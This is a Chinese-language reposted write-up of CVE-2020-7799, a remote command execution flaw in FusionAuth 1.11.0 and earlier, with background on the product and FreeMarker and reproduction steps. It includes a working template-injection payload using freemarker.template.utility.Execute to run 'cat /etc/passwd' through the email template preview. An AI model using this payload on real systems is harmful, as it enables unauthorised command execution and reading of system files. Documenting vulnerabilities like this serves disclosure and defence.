栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

FusionAuth 远程命令执行漏洞(CVE-2020-7799)

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

FusionAuth 远程命令执行漏洞(CVE-2020-7799)

文章目录
  • 一、漏洞简介
    • 1、FusionAuth
    • 2、Apache FreeMarker
    • 3、漏洞描述
  • 二、漏洞复现


一、漏洞简介 1、FusionAuth

FusionAuth是一个免费的身份管理平台,安装简单,易于集成。FusionAuth提供登录、注册、MFA、SSO、电子邮件模板、本地化、密码控制、强哈希、网络挂钩、基于角色的访问控制等功能。

2、Apache FreeMarker

FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
FreeMarker是免费的,基于Apache许可证2.0版本发布。

3、漏洞描述

FusionAuth使用了 Apache FreeMarker 模板引擎,经过身份验证的用户允许编辑电子邮件模板(Settings/Email Templates/Edit/Preview),可通过利用freemarker.template.utility.Execute执行任意系统命令。

影响版本
FusionAuth <= 1.11.0

二、漏洞复现

1、利用账号密码登录系统

2、点击Preview:

3、修改Default HTML参数如下:

${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}}


4、点击Preview,命令执行。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/591436.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号